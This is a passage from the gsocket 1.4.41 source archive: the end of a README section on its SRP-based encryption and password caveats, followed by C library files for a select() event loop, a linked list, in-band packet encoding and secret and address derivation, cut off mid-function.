User-2-User (and not just to the Relay Network). The Relay Network relays only (encrypted) data to and from the Users. 2. The session key is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password). 3. The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess. 4. Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use *gs-netcat -g* to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect. 5. If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected. 6. Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection. 7. SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known. 8. It is possible (by using traffic analytics) to determine that Alice is communicating with Bob. The content of such communcitation is however secret (private) and can not be revealed by an ISP or the GSRN backend. The gsocket tools (such as gs-netcat) support the -T flag to anonymize the traffic via TOR. 9. I did not invent SRP. It's part of OpenSSL :> --- If netcat is a swiss army knife then gs-netcat is a germanic battle axe... --acpizer/UnitedCrackingForce Join us Telegram: https://t.me/thcorg Twitter: https://twitter.com/hackerschoice shoutz: D1G, [@xaitax](https://twitter.com/xaitax), #!adm gsocket-1.4.41/lib/0000755000175000017500000000000014503376047013723 5ustar epsilonepsilongsocket-1.4.41/lib/gsocket-select.c0000644000175000017500000002073314503376047017010 0ustar epsilonepsilon #include "gs-common.h" #include #include #include #include "gsocket-engine.h" #include "gs-externs.h" /********* FUNCTIONS ********************/ int GS_SELECT_CTX_init(GS_SELECT_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now, int frequency) { memset(ctx, 0, sizeof *ctx); ctx->rfd = rfd; ctx->wfd = wfd; ctx->r = r; ctx->w = w; ctx->tv_now = tv_now; gettimeofday(ctx->tv_now, NULL); GS_EVENT_MGR_init(&ctx->emgr); GS_EVENT_add_by_ts(&ctx->emgr, &ctx->hb, 0, frequency, NULL, NULL, 0); // ctx->hb_init = GS_TV_TO_USEC(ctx->tv_now); // ctx->hb_freq = frequency; int i; for (i = 0; i < FD_SETSIZE; i++) { ctx->mgr_r[i].func = NULL; ctx->mgr_w[i].func = NULL; } return 0; } void gs_select_rw_save_state(GS_SELECT_CTX *ctx, int fd, char *idstr) { /* Save rfd/wfd state */ if (ctx->is_rw_state_saved[fd] == 1) { // DEBUGF_R("*** WARNING ***: RWFD already saved. SKIPPING (fd = %d, %s)\n", fd, idstr); return; } DEBUGF_M("Saving state (fd = %d, %s):\n", fd, idstr); gs_fds_out_fd(ctx->rfd, 'r', fd); gs_fds_out_fd(ctx->wfd, 'w', fd); ctx->saved_rw_state[fd] = 0; ctx->is_rw_state_saved[fd] = 1; if (FD_ISSET(fd, ctx->rfd)) ctx->saved_rw_state[fd] |= 0x01; if (FD_ISSET(fd, ctx->wfd)) ctx->saved_rw_state[fd] |= 0x02; } void gs_select_rw_restore_state(GS_SELECT_CTX *ctx, int fd, char *idstr) { if (ctx->is_rw_state_saved[fd] == 0) { // DEBUGF("RWFD was not saved. Nothing to restore (fd = %d, %s).\n", fd, idstr); return; } // DEBUGF_B("Restoring RWFD state (fd = %d, %s, %d)\n", fd, idstr, ctx->is_rw_state_saved[fd]); /* This can happen when FD was half-closed (shutdown received): * - We stopped reading (rfd not set) * - Write() triggered would-block (wfd set) and then restored to 0. */ if (ctx->saved_rw_state[fd] == 0) DEBUGF_Y("*** NOTE ***: Restoring empty RW state (fd = %d, %s)\n", fd, idstr); ctx->is_rw_state_saved[fd] = 0; FD_CLR(fd, ctx->rfd); FD_CLR(fd, ctx->wfd); if (ctx->saved_rw_state[fd] & 0x01) XFD_SET(fd, ctx->rfd); if (ctx->saved_rw_state[fd] & 0x02) XFD_SET(fd, ctx->wfd); ctx->saved_rw_state[fd] = 0; if (fd > 0) { DEBUGF_M("Restored state:\n"); gs_fds_out_fd(ctx->rfd, 'r', fd); gs_fds_out_fd(ctx->wfd, 'w', fd); } } void gs_select_set_rdata_pending(GS_SELECT_CTX *ctx, int fd, int len) { ctx->rdata_pending_count++; ctx->rdata_pending[fd] = len; } static void call_item(GS_SELECT_CTX *ctx, struct _gs_sel_item *item, int fd) { // int ret; (*item->func)(ctx, fd, item->cb_arg, item->cb_val); // DEBUGF("cb-func ret = %d (fd %d)\n", ret, fd); /* 1. Think carefully: STDIN (fd=0) may have succesfully * 1024 bytes but GS_write (fd=3) failed (WANT-WRITE). * - Do not set fd=0 to WANT-WRITE. Instead the GS_write() * should set that flag on itself (fd=3). * * 2. Think carefully: Not all GS_read/GS_write functions * are called by callbacks: Reading from STDIN calls * GS_write() regardless if GS_write() would block or not. */ } /* * Return 0 on timeout. * Return -1 on fatal error. Errno is set. */ int GS_select(GS_SELECT_CTX *ctx) { int n; struct timeval tv; // int ret; int i; while (1) { int max_fd = ctx->max_fd; /* Before calling select() to check if there is new data on I/O: * - Check if there is already data in the user-land (such as from * SSL_pending() before checking I/O [kernel]. */ for (i = 0; i <= max_fd; i++) { if (ctx->rdata_pending_count <= 0) break; /* Continue if there is no pending data in the input read buffer */ if (ctx->rdata_pending[i] == 0) continue; /* Continue if the app does not want us to submit read data */ if (!FD_ISSET(i, ctx->rfd)) continue; /* HERE: Call to GS_read() needed because there is still * data in the input buffer (not i/o buffer). */ DEBUGF_Y("fd=%d Pending data in SSL read input buffer (len=%d):>\n", i, ctx->rdata_pending[i]); ctx->rdata_pending_count--; call_item(ctx, &ctx->mgr_r[i], i); } /* Do it again if there are still items that * have data in their input buffer... */ if (ctx->rdata_pending_count > 0) continue; memcpy(ctx->r, ctx->rfd, sizeof *ctx->r); memcpy(ctx->w, ctx->wfd, sizeof *ctx->w); uint64_t wait; wait = GS_EVENT_execute(&ctx->emgr); gettimeofday(ctx->tv_now, NULL); GS_USEC_TO_TV(&tv, wait); gs_fds_out_rwfd(ctx); n = select(max_fd + 1, ctx->r, ctx->w, NULL, &tv); // DEBUGF_B("max-fd = %d, *************** select = %d\n", max_fd, n); if (n < 0) { if (errno == EINTR) continue; return -1; } gettimeofday(ctx->tv_now, NULL); // gs_fds_out(ctx->r, max_fd, 'r'); // gs_fds_out(ctx->w, max_fd, 'w'); // int wants = 0; for (i = 0; i <= max_fd; i++) { /* 'n' is not reliable as a listening gsocket might handle more than 1 fd * if more than 1 are readable. Only 1 listen-callback will be called * but the callback may serve more than 1 fd. */ if (n <= 0) break; struct _gs_sel_item *item = NULL; char c; /* Must check r and rfd in case app deselected rfd to stop reading */ if (FD_ISSET(i, ctx->r) && FD_ISSET(i, ctx->rfd)) { // DEBUGF_B("I/O == READ (fd = %d)\n", i); /* GS_CALLREAD or GS_CALLDEFAULT */ /* Find out if read-i/o was required because GS_write() set * WANT_READ. */ item = &ctx->mgr_r[i]; c = 'r'; if (ctx->want_io_read[i]) { if (ctx->blocking_func[i] & GS_CALLWRITE) { item = &ctx->mgr_w[i]; c = 'W'; } } // DEBUGF_B("CTX-R: %c fd=%d\n", c, i); XASSERT(item->func != NULL, "%c fd = %d has no function to call\n", c, i); call_item(ctx, item, i); n--; } if (FD_ISSET(i, ctx->w) && FD_ISSET(i, ctx->wfd)) { // DEBUGF_B("I/O == WRITE (fd = %d)\n", i); item = &ctx->mgr_w[i]; c = 'w'; if (ctx->want_io_write[i]) { if (ctx->blocking_func[i] & GS_CALLREAD) { item = &ctx->mgr_r[i]; c = 'R'; } } // DEBUGF_B("call_item: %c fd=%d\n", c, i); XASSERT(item->func != NULL, "%c fd = %d has no function to call\n", c, i); call_item(ctx, item, i); n--; } /* FD_ISSET(i, ctx->w) */ } /* for () */ /* Time to return control to caller? */ if (ctx->emgr.is_return_to_caller) { ctx->emgr.is_return_to_caller = 0; return 0; } // if (((ctx->hb_freq > 0) && GS_TV_TO_USEC(ctx->tv_now) > ctx->hb_next)) // { // return 0; // } } /* while (1) */ ERREXIT("NOT REACHED\n"); return -1; } void GS_SELECT_del_cb(GS_SELECT_CTX *ctx, int fd) { int new_max_fd = 0; DEBUGF_B("Removing CB for fd = %d\n", fd); ctx->mgr_r[fd].func = NULL; ctx->mgr_w[fd].func = NULL; ctx->mgr_r[fd].cb_arg = NULL; ctx->mgr_w[fd].cb_arg = NULL; ctx->mgr_w[fd].cb_val = 0; ctx->mgr_r[fd].cb_val = 0; FD_CLR(fd, ctx->rfd); FD_CLR(fd, ctx->wfd); FD_CLR(fd, ctx->r); FD_CLR(fd, ctx->w); ctx->blocking_func[fd] = 0; /* Calcualte new max-fd */ int i; #ifdef DEBUG char buf[FD_SETSIZE + 1]; memset(buf, '-', sizeof buf); buf[ctx->max_fd + 1] = '\0'; int c; int tracking = 0; #endif for (i = 0; i <= ctx->max_fd; i++) { if ((ctx->mgr_r[i].func == NULL) && (ctx->mgr_w[i].func == NULL)) { continue; } #ifdef DEBUG tracking += 1; c = 0; if (ctx->mgr_r[i].func != NULL) c = 1; if (ctx->mgr_w[i].func != NULL) c += 2; if (c == 1) buf[i] = 'r'; // should not happen if (c == 2) buf[i] = 'w'; // should not happen. if (c == 3) buf[i] = 'X'; // both callback functions set (normal case). #endif new_max_fd = i; } #ifdef DEBUG buf[fd] = '*'; // This one being removed // xfprintf(gs_errfp, "%s (CB funcs, tracking=%d, max=%d)\n", buf, tracking, ctx->max_fd); #endif DEBUGF("Setting MAX-FD to %d\n", new_max_fd); ctx->max_fd = new_max_fd; } void GS_SELECT_add_cb_r(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val) { DEBUGF_B("Adding CB-r for fd = %d\n", fd); ctx->mgr_r[fd].func = (void *)func; ctx->mgr_r[fd].cb_arg = arg; ctx->mgr_r[fd].cb_val = val; ctx->max_fd = MAX(ctx->max_fd, fd); ctx->blocking_func[fd] = 0; } void GS_SELECT_add_cb_w(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val) { DEBUGF_B("Adding CB-w for fd = %d\n", fd); ctx->mgr_w[fd].func = (void *)func; ctx->mgr_w[fd].cb_arg = arg; ctx->mgr_w[fd].cb_val = val; ctx->max_fd = MAX(ctx->max_fd, fd); ctx->blocking_func[fd] = 0; } void GS_SELECT_add_cb(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val) { GS_SELECT_add_cb_r(ctx, func_r, fd, arg, val); GS_SELECT_add_cb_w(ctx, func_w, fd, arg, val); } gsocket-1.4.41/lib/list.c0000644000175000017500000000772314503376047015053 0ustar epsilonepsilon/* * Double Linked List */ #include "gs-common.h" #include #include "gs-externs.h" #define GS_LIST_PREV(xitem) ((GS_LIST_ITEM *)xitem)->prev #define GS_LIST_NEXT(xitem) ((GS_LIST_ITEM *)xitem)->next int GS_LIST_init(GS_LIST *gsl, int opt) { memset(gsl, 0, sizeof *gsl); gsl->opt = opt; return 0; } // FOR DEBUGGING ONLY void GS_LIST_stderr(GS_LIST *gsl, const char *msg) { GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL); DEBUGF_C("Items=%d: %s", gsl->n_items, msg); int i = 0; for (; li != NULL; li = GS_LIST_next(gsl, li)) { DEBUGF_Y("#%d id=%"PRIu64" %p (prev=%p, next=%p)\n", i++, li->id, li, li->prev, li->next); XASSERT(i < 6, "list to long (debugging)\n"); // FIXME: } if (i != gsl->n_items) ERREXIT("wrong number of items: %d\n", i); } GS_LIST_ITEM * GS_LIST_next(GS_LIST *gsl, GS_LIST_ITEM *li) { if (li == NULL) return gsl->head; XASSERT(li != li->next, "list-item is looping (%p)\n", li); return li->next; } static void gs_list_unlink(GS_LIST_ITEM *del_li) { GS_LIST *gsl = del_li->gsl; if (del_li->prev == NULL) gsl->head = del_li->next; // Might be NULL else GS_LIST_NEXT(del_li->prev) = del_li->next; if (del_li->next == NULL) gsl->tail = del_li->prev; // Might be NULL else GS_LIST_PREV(del_li->next) = del_li->prev; gsl->n_items -= 1; } static void gs_list_link(GS_LIST_ITEM *src_li) { GS_LIST *gsl = src_li->gsl; gsl->n_items += 1; // First element if (gsl->head == NULL) { gsl->tail = src_li; gsl->head = src_li; src_li->next = NULL; src_li->prev = NULL; goto done; } // Start from tail to find insert location GS_LIST_ITEM *li = gsl->tail; // DEBUGF("Tail id == %llu\n", li->id); while (li != NULL) { if (li->id <= src_li->id) break; li = li->prev; } // DEBUGF("Add %llu below this one: %llu\n", id, li->id); // id is smallest (e.g. becoming head) if (li == NULL) { // DEBUGF("Becoming head\n"); // li becoming the head src_li->next = gsl->head; src_li->prev = NULL; gsl->head->prev = src_li; gsl->head = src_li; goto done; } // Add below li src_li->next = li->next; // == NULL if tail src_li->prev = li; if (li->next != NULL) // Not the tail GS_LIST_PREV(li->next) = src_li; else gsl->tail = src_li; // next tail li->next = src_li; done: XASSERT(src_li != src_li->next, "list-item already in list\n"); } void GS_LIST_relink(GS_LIST_ITEM *li, uint64_t id) { li->id = id; gs_list_unlink(li); gs_list_link(li); } /* * Move ITEM to a new another list. */ void GS_LIST_move(GS_LIST *gsl, GS_LIST_ITEM *li) { if (li->gsl == gsl) return; gs_list_unlink(li); GS_LIST_add(gsl, li, li->data, li->id); } /* * Add an item to the list. Sorted by id. Smallest at top. */ GS_LIST_ITEM * GS_LIST_add(GS_LIST *gsl, GS_LIST_ITEM *src_li, void *data, uint64_t id) { if (src_li == NULL) { src_li = calloc(1, sizeof *src_li); XASSERT(src_li != NULL, "calloc(): %s\n", strerror(errno)); src_li->is_calloc = 1; } else { src_li->is_calloc = 0; } src_li->data = data; src_li->id = id; src_li->gsl = gsl; src_li->add_id = gsl->add_count; gsl->add_count += 1; gs_list_link(src_li); // DEBUGF("tail id = %llu\n", gsl->tail->id); return src_li; } GS_LIST_ITEM * GS_LIST_by_pos(GS_LIST *gsl, int pos) { if (pos >= gsl->n_items) return NULL; int n = 0; GS_LIST_ITEM *li = NULL; while (1) { li = GS_LIST_next(gsl, li); if (li == NULL) break; if (n == pos) break; n += 1; } return li; } GS_LIST_ITEM * GS_LIST_by_id(GS_LIST *gsl, uint64_t id) { GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL); for (; li != NULL; li = GS_LIST_next(gsl, li)) { if (id == li->id) return li; } return NULL; } int GS_LIST_del(GS_LIST_ITEM *del_li) { if (del_li == NULL) return 0; gs_list_unlink(del_li); if (del_li->is_calloc) XFREE(del_li); return 0; } int GS_LIST_del_all(GS_LIST *gsl, int deep) { GS_LIST_ITEM *li; while (1) { li = GS_LIST_next(gsl, NULL); if (li == NULL) break; if (deep) XFREE(li->data); GS_LIST_del(li); } return 0; } gsocket-1.4.41/lib/packet.c0000644000175000017500000001350314503376047015340 0ustar epsilonepsilon/* * In-band packet stack. * * Used for transfering data (such as change in window size) to remote peer. */ #include "gs-common.h" #include #include "gsocket-engine.h" #include "gs-externs.h" int GS_PKT_init(GS_PKT *pkt) { memset(pkt, 0, sizeof *pkt); return 0; } int GS_PKT_close(GS_PKT *pkt) { return 0; } /* * Assign call-back functions for different in-band signals. */ static int gs_pkt_assign(GS_PKT *pkt, uint8_t type, gspkt_cb_t func, void *arg) { pkt->funcs[type] = func; pkt->args[type] = arg; return 0; } int GS_PKT_assign_msg(GS_PKT *pkt, uint8_t msg, gspkt_cb_t func, void *arg) { return gs_pkt_assign(pkt, msg, func, arg); } int GS_PKT_assign_chn(GS_PKT *pkt, uint8_t chn, gspkt_cb_t func, void *arg) { return gs_pkt_assign(pkt, chn + GS_PKT_MAX_MSG, func, arg); } /* * Encode len bytes from src to dst. * dst must be 2x the size of src. * * FIXME: could make this more memory efficient by using src == dst * and start encoding from the rear end (reverse) and return pointer to * dst. */ void GS_PKT_encode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen) { uint8_t *dst_orig = dst; const uint8_t *send = src + slen; /* Escape any occurance of PKT_ESC with PKT_ESC PKT_ESC (double) */ while (src < send) { *dst = *src; if (*src == GS_PKT_ESC) { // DEBUGF_W("Encoding ESC\n"); dst++; *dst = GS_PKT_ESC; } dst++; src++; } *dlen = dst - dst_orig; } int GS_PKT_MSG_size_by_type(int type) { if (type == GS_PKT_TYPE_NONE /* 0x00*/) { return -2; // Protocol Error (FATAL) } else if (type < 16) { return 4; // 4 - chn 1..15 } else if (type < 32) { return 16; // 16 - chn 16..31 } else if (type < 48) { return 64; // 64 - chn 32..47 } else if (type < 64) { return 128; // 128 - chn 48..63 } else if (type < 80) { return 512; // 512 - chn 64..79 } else if (type < 96) { return 1024; // 1024 - chn 80..95 } else if (type < 112) { return 2048; // 2048 - chn 96..111 } return 4196; // 4196 - chn 112..127 } /* * Decode slen bytes into dst until an ESC-sequence is encountered. * Return the number of bytes consumed from src. * * ESC ESC => ESC * ESC [ 1 + 7bit CHN ] [ 16 bit length ] [ data ] * ESC [ 0 + 7bit TYPE] [ data ] */ ssize_t GS_PKT_decode_single(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen) { uint8_t *dst_orig = dst; const uint8_t *src_orig = src; const uint8_t *send = src + slen; while (src < send) { if (pkt->esc_len_rem > 0) { if (pkt->type != 0) { // HERE: Either channel or msg size_t len = MIN(pkt->esc_len_rem, send - src); /* Check for BO (should not never happen) */ size_t available = sizeof pkt->inband - pkt->len; XASSERT(len <= available, "len = %zu, left = %zu\n", len, available); XASSERT(len <= pkt->esc_len_rem, "len=%zu, len_rem=%zu\n", len, pkt->esc_len_rem); // DEBUGF("Copying %zu to inband data (total after: %zu, dsz=%zu)\n", len, pkt->len + len, dst - dst_orig); memcpy(pkt->inband + pkt->len, src, len); pkt->len += len; src += len; pkt->esc_len_rem -= len; if (pkt->esc_len_rem <= 0) { if (GS_PKT_IS_CHANNEL(pkt->type) && (pkt->is_got_chn_len == 0)) { uint16_t nlen; memcpy(&nlen, &pkt->inband, 2); pkt->is_got_chn_len = 1; pkt->esc_len_rem = ntohs(nlen); // DEBUGF_B("Len of channel message: %zu (dsz=%zu)\n", pkt->esc_len_rem, dst - dst_orig); pkt->len = 0; if (pkt->esc_len_rem != 0) continue; /* HERE: Zero length packet. Still call CallBack */ } if (pkt->funcs[pkt->type] == NULL) { DEBUGF_R("No function assigned for type %u\n", pkt->type); } else { /* val is 0..127 for msg or 0..127 for channel */ uint8_t val; val = pkt->type; if (val >= GS_PKT_MAX_MSG) val -= GS_PKT_MAX_MSG; // DEBUGF("PKT cb type %d, data left=%zu (dsz=%zu)\n", pkt->type, send - src, dst - dst_orig); (*pkt->funcs[pkt->type])(val, pkt->inband, pkt->len, pkt->args[pkt->type]); } // DEBUGF("%02x %02x %02x %02x\n", pkt->inband[0], pkt->inband[1], pkt->inband[2], pkt->inband[3]); pkt->len = 0; pkt->is_got_chn_len = 0; } continue; } if (*src == GS_PKT_ESC) { /* Was ESC ESC sequence */ *dst = GS_PKT_ESC; dst++; src++; pkt->esc_len_rem = 0; continue; } /* First character after ESC is TYPE || CHN */ pkt->type = *src; if (pkt->type == 0x0) { DEBUGF_R("ERROR TYPE IS 0x00\n"); return -1; // Protocol Error (FATAL) } if (GS_PKT_IS_CHANNEL(pkt->type)) { /* HERE: type == 128..255 (channel) */ pkt->esc_len_rem = 2; /* At least two bytes for length */ } else { /* HERE: type == 0..127 (fixed length message) */ // DEBUGF("type 0x%x\n", pkt->type); int len; len = GS_PKT_MSG_size_by_type(pkt->type); if (len < 0) return len; pkt->esc_len_rem = len; } /* HERE: It's an escape sequence */ src++; /* Return any pending data in input buffer to caller before * processing in-band signaling */ if (dst > dst_orig) break; } else { /* NOT inside escape sequence */ if (*src == GS_PKT_ESC) { pkt->type = 0; pkt->esc_len_rem = 1; /* Unknown at this stage */ src++; continue; } /* COPY */ *dst = *src; dst++; src++; } } *dlen = dst - dst_orig; return src - src_orig; } /* * Return 0 on success. */ int GS_PKT_decode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen) { size_t dsz; uint8_t *dst_orig = dst; ssize_t consumed; const uint8_t *s_end = src + slen; const uint8_t *s = src; while (s < s_end) { consumed = GS_PKT_decode_single(pkt, s, s_end - s, dst, &dsz); // DEBUGF("Consumed: %zd\n", consumed); if (consumed < 0) return -1; dst += dsz; s += consumed; } *dlen = dst - dst_orig; return 0; } gsocket-1.4.41/lib/gsocket-sha256.h0000644000175000017500000000152314503376047016542 0ustar epsilonepsilon/********************************************************************* * Filename: sha256.h * Author: Brad Conte (brad AT bradconte.com) * Copyright: * Disclaimer: This code is presented "as is" without any guarantees. * Details: Defines the API for the corresponding SHA1 implementation. *********************************************************************/ #ifndef HAVE_LIBCRYPTO #warning "***** No OpenSSL. Using INTERNAL SHA256. *****" /****************************** MACROS ******************************/ #define SHA256_BLOCK_SIZE 32 // SHA256 outputs a 32 byte digest #define SHA256_DIGEST_LENGTH 32 unsigned char *GS_SHA256(const unsigned char *d, size_t n, unsigned char *md); #else /* HERE: HAVE_LIBCRYPTO is set and OpenSSL is available */ # define GS_SHA256(d, n, md) SHA256(d, n, md) #endif /* HAVE_LIBCRYPTO */ gsocket-1.4.41/lib/gsocket-util.c0000644000175000017500000003474314503376047016514 0ustar epsilonepsilon #include "gs-common.h" #include #include "gsocket-engine.h" #include "gs-externs.h" static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; // static const int8_t b58digits_map[] = { // -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, // -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, // -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1, // -1, 0, 1, 2, 3, 4, 5, 6, 7, 8,-1,-1,-1,-1,-1,-1, // -1, 9,10,11,12,13,14,15, 16,-1,17,18,19,20,21,-1, // 22,23,24,25,26,27,28,29, 30,31,32,-1,-1,-1,-1,-1, // -1,33,34,35,36,37,38,39, 40,41,42,43,-1,44,45,46, // 47,48,49,50,51,52,53,54, 55,56,57,-1,-1,-1,-1,-1, // }; #ifndef HAVE_GETLINE static int getline(char **lineptr, size_t *n, FILE *stream) { static char line[256]; char *ptr; unsigned int len; if (lineptr == NULL || n == NULL) { errno = EINVAL; return -1; } if (ferror (stream)) return -1; if (feof(stream)) return -1; fgets(line,256,stream); ptr = strchr(line,'\n'); if (ptr) *ptr = '\0'; len = strlen(line); if ((len+1) < 256) { ptr = realloc(*lineptr, 256); if (ptr == NULL) return(-1); *lineptr = ptr; *n = 256; } strcpy(*lineptr,line); return(len); } #endif /* HAVE_GETLINE */ static char * user_secret_from_stdin(GS_CTX *ctx) { size_t n = 0; char *ptr = NULL; ssize_t len; while (1) { fprintf(stderr, "Enter Secret (or press Enter to generate): "); len = getline(&ptr, &n, stdin); XASSERT(len > 0, "getline()\n"); if (ptr[len - 1] == '\n') ptr[len - 1] = 0; // Remove '\n' if (strlen(ptr) == 0) return NULL; if (strlen(ptr) >= 8) break; fprintf(stderr, "Too short.\n"); } return strdup(ptr); } static char * user_secret_from_file(GS_CTX *ctx, const char *file) { FILE *fp; char buf[256]; int ret; if (file == NULL) return NULL; memset(buf, 0, sizeof buf); fp = fopen(file, "r"); if (fp == NULL) { gs_ctx_set_errorf(ctx, "'%s'", file); return NULL; } ret = fread(buf, 1, sizeof buf - 1, fp); fclose(fp); if (ret <= 0) return NULL; if (buf[ret-1] == '\n') buf[ret-1] = 0; return strdup(buf); } char * GS_getenv(const char *name) { char *ptr = getenv(name); if (ptr == NULL) return NULL; if (*ptr == '\0') return NULL; return ptr; } uint32_t GS_hton(const char *hostname) { struct hostent *he; struct in_addr **addr_list; uint32_t ip; /* Check if the string is an IP addres "1.2.3.4" */ ip = inet_addr(hostname); if (ip != 0xFFFFFFFF) return ip; he = gethostbyname(hostname); if (he == NULL) return 0xFFFFFFFF; addr_list = (struct in_addr **)he->h_addr_list; if (addr_list == NULL) return 0xFFFFFFFF; if (addr_list[0] == NULL) return 0xFFFFFFFF; return addr_list[0][0].s_addr; } const char * GS_gen_secret(void) { int ret; GS_library_init(stderr, stderr, NULL); // Generate random numbers uint8_t buf[GS_SECRET_MAX_LEN]; ret = RAND_bytes(buf, sizeof buf); XASSERT(ret == 1, "RAND_bytes() failed.\n"); char b58[sizeof buf * 2]; size_t b58sz = sizeof (b58); GS_bin2b58(b58, &b58sz, buf, sizeof buf); b58[22] = '\0'; // shorten secret to 21 characters return strdup(b58); } const char * GS_user_secret(GS_CTX *ctx, const char *sec_file, const char *sec_str) { const char *ptr; /* Secret from file has priority of sec_str value */ if (sec_file != NULL) { ptr = user_secret_from_file(ctx, sec_file); if (ptr != NULL) return ptr; return NULL; } /* If sec_str is set by command line parameters then use it */ if (sec_str != NULL) return sec_str; /* Ask user to enter a secret or if empty generate one */ ptr = user_secret_from_stdin(ctx); if (ptr != NULL) return ptr; /* Genexrate a new secret */ ptr = GS_gen_secret(); return ptr; } /* Convert 128 bit binary into base58 + CRC */ static int b58enc(char *b58, size_t *b58sz, uint8_t *src, size_t binsz) { const uint8_t *bin = src; int carry; size_t i, j, high, zcount = 0; size_t size; /* Find out the length. Count leading 0's. */ while (zcount < binsz && !bin[zcount]) ++zcount; size = (binsz - zcount) * 138 / 100 + 1; uint8_t buf[size]; memset(buf, 0, size); for (i = zcount, high = size - 1; i < binsz; ++i, high = j) { for (carry = bin[i], j = size - 1; (j > high) || carry; --j) { carry += 256 * buf[j]; buf[j] = carry % 58; carry /= 58; if (!j) { break; } } } for (j = 0; j < size && !buf[j]; ++j); if (*b58sz <= zcount + size - j) { ERREXIT("Wrong size...%zu\n", zcount + size - j + 1); *b58sz = zcount + size - j + 1; return -1; } if (zcount) memset(b58, '1', zcount); for (i = zcount; j < size; ++i, ++j) { b58[i] = b58digits_ordered[buf[j]]; } b58[i] = '\0'; *b58sz = i + 1; return 0; } char * GS_bin2b58(char *b58, size_t *b58sz, uint8_t *src, size_t binsz) { b58enc(b58, b58sz, src, binsz); return b58; } // 0-Terminate 'dst'. static char * bin2hex(char *dst, size_t dsz, const void *src, size_t sz, char *hexset) { char *end = dst + dsz; char *dst_orig = dst; uint8_t *s = (uint8_t *)src; uint8_t *e = s + sz; while ((dst + 1 < end) && (s < e)) { *dst = hexset[*s >> 4]; dst += 1; if (dst + 1 >= end) break; *dst = hexset[*s & 0x0f]; dst += 1; s++; } *dst = '\0'; return dst_orig; } char * GS_bin2hex(char *dst, size_t dsz, const void *src, size_t sz) { return bin2hex(dst, dsz, src, sz, "0123456789abcdef"); } char * GS_bin2HEX(char *dst, size_t dsz, const void *src, size_t sz) { return bin2hex(dst, dsz, src, sz, "0123456789ABCDEF"); } char * GS_addr2hex(char *dst, const void *src) { if (dst == NULL) { static char dst_local[GS_ADDR_SIZE * 2 + 1]; dst = dst_local; } return GS_bin2hex(dst, GS_ADDR_SIZE * 2 + 1, src, GS_ADDR_SIZE); } char * GS_token2hex(char *dst, const void *src) { if (dst == NULL) { static char dst_local[GS_TOKEN_SIZE * 2 + 1]; dst = dst_local; } return GS_bin2hex(dst, GS_TOKEN_SIZE * 2 + 1, src, GS_TOKEN_SIZE); } #define GS_SRP_KD1 "/kd/srp/1" #define GS_ADDR_KD2 "/kd/addr/2" // Convert a secret to a SRP secret and address. GS_ADDR * GS_ADDR_sec2addr(GS_ADDR *addr, const char *gs_secret) { unsigned char md[SHA256_DIGEST_LENGTH]; SHA256_CTX sha; // Derive a SRP Secret (from gs_secret) SHA256_Init(&sha); SHA256_Update(&sha, GS_SRP_KD1, strlen(GS_SRP_KD1)); SHA256_Update(&sha, gs_secret, strlen(gs_secret)); SHA256_Final(md, &sha); // Convert to hex string GS_bin2hex(addr->srp_password, sizeof addr->srp_password, md, sizeof md); // Derive the GS address SHA256_Init(&sha); SHA256_Update(&sha, GS_ADDR_KD2, strlen(GS_ADDR_KD2)); SHA256_Update(&sha, gs_secret, strlen(gs_secret)); SHA256_Final(md, &sha); memcpy(addr->addr, md, sizeof addr->addr); return addr; } // Return 0..25 to connect to [a-z].gsocket.org uint8_t GS_ADDR_get_hostname_id(uint8_t *addr) { int i; int num = 0; for (i = 0; i < GS_ADDR_SIZE; i++) num += addr[i]; return num % 26; } uint64_t GS_usec(void) { struct timeval tv; gettimeofday(&tv, NULL); return GS_TV_TO_USEC(&tv); } // 7 readable characters + suffix + 0 static const char unit[] = "BKMGT"; void GS_format_bps(char *dst, size_t size, int64_t bytes, const char *suffix) { int i; if (suffix == NULL) suffix = ""; if (bytes < 1000) { snprintf(dst, size, "%3d.0 B%s", (int)bytes, suffix); return; } bytes *= 100; for (i = 0; bytes >= 100*1000 && unit[i] != 'T'; i++) bytes = (bytes + 512) / 1024; snprintf(dst, size, "%3lld.%1lld%c%s%s", (long long) (bytes + 5) / 100, (long long) (bytes + 5) / 10 % 10, unit[i], i ? "B" : " ", suffix); } // Convert 'sec' to human readable string // 99s // 1m40 100 // 99m59 5999 // 1h40 6000 // 99h59 359940 // 4d04 360000 // 99d23 8636400 // 100d 8640000 // MAX LENGTH IS 7 chars including 0-termination. char * GS_format_since(char *dst, size_t dst_sz, int32_t sec) { if (sec >= 100 * 24 * 60 * 60) // 100 days or more snprintf(dst, dst_sz, "%ud", sec / (24 * 60 * 60)); else if (sec >= 100 * 60 * 60) // 100 hours or more => 4d00 snprintf(dst, dst_sz, "%ud%02uh", sec / (24 * 60 * 60) /*days*/, (sec / (60 * 60)) % 24); else if (sec >= 100 * 60) // 100 minutes or more => 1h40 snprintf(dst, dst_sz, 